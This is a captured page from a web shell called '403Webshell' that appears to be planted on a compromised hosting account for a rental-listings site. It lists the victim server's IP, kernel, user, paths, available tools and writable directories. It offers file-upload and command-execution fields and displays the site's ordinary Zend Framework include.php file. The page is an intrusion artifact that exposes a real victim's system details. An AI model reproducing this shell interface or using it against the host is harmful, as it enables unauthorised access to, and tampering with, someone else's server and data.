403Webshell
Server IP : 104.21.17.213  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/corbizre/rentalssearch.com/member/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/corbizre/rentalssearch.com/member/include.php
<?php
/** start script
 * @copyright  Copyright (c) 2005-2011 ITCrimea Ukraine Inc. (http://www.itcrimea.com)
 * @license
 */
function action($action, $controller, $module, $params=array(), $section='frontend', $layout=false) {
	#Magic quotes for incoming GET/POST/Cookie data.
	//ini_set('magic_quotes_gpc', 0);
	#Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
	//ini_set('magic_quotes_runtime', 0);

	// sets internal character encoding
	//mb_internal_encoding('UTF-8');
	//ini_set('default_charset', 'UTF-8');
       if (isset($GLOBALS['ZendControllerFront'])) {
		$front = $GLOBALS['ZendControllerFront'];
	} else {
	/** get base  */
	$AppFolder = dirname(__FILE__);
	$ComponentsPath = array($AppFolder.'/components');
	$BaseUrl = substr($_SERVER['SCRIPT_NAME'], 0, strrpos($_SERVER['SCRIPT_NAME'], '/'));
	/** setup path components */
	/*foreach ($ComponentsPath as $Path) {
	    set_include_path(ini_get('include_path') . PATH_SEPARATOR.  $Path);
	}*/
	set_include_path(implode(PATH_SEPARATOR, $ComponentsPath));
    if (version_compare(PHP_VERSION, '7.0.0') < 0) {
       exit("PHP version >= 7.0");
    }
    require $AppFolder . '/vendor/autoload.php';
	$autoloader = Zend_Loader_Autoloader::getInstance();
	$autoloader->registerNamespace('System');
	$autoloader->setFallbackAutoloader(true);
	//$autoloader->suppressNotFoundWarnings(false);

	$autoloaderSystem = new System_Autoloader();
	$autoloader->pushAutoloader($autoloaderSystem, 'System');
    $autoloader->pushAutoloader($autoloaderSystem, 'User');
    $autoloader->pushAutoloader($autoloaderSystem, 'Article');
    $autoloader->pushAutoloader($autoloaderSystem, 'Settings');
    $autoloader->pushAutoloader($autoloaderSystem, 'Realty');
    $autoloader->pushAutoloader($autoloaderSystem, 'Site');

	Zend_Registry::set('AppFolder', $AppFolder);
	Zend_Registry::set('ComponentsPath', $ComponentsPath);
	Zend_Registry::set('baseUrl', $BaseUrl);
	define('HTTPS', 0);

	System_Application::getInstance()->init();
	Zend_Layout::startMvc();
    System_Cache::getInstance()->run();
    System_Session::getInstance()->run();
    System_Database::getInstance()->run();
    System_Acl::getInstance()->run();
    System_Locale::getInstance()->run();
    System_Translate::getInstance()->run();
    System_View::getInstance()->run();

    $front = System_Controller::getController();
    $GLOBALS['ZendControllerFront'] = &$front;
    }
    $objectRequest = new Zend_Controller_Request_Http('http://localhost/'.trim(Zend_Registry::get('baseUrl'), '/').'/'.$section.'/'.$module.'/'.$controller.'/'.$action);
    $objectRequest->setParams($params);
    $objectResponse = new Zend_Controller_Response_Cli();
    
    $front->setRequest($objectRequest);
    if (!$layout) {
        Zend_Controller_Action_HelperBroker::getStaticHelper('Layout')->disableLayout();
    }
    $front->dispatch($objectRequest, $objectResponse);
    $objectResponse = $front->getResponse();

    if (!$layout) {
        return $objectResponse->getBody();
    } else {
        $objectResponse->sendResponse();
    }
}

/* how to use:
include('_CoreProjects/realty-member/include.php');
echo action('login', 'index', 'user', array());
*/


Youez - 2016 - github.com/yon3zu
LinuXploit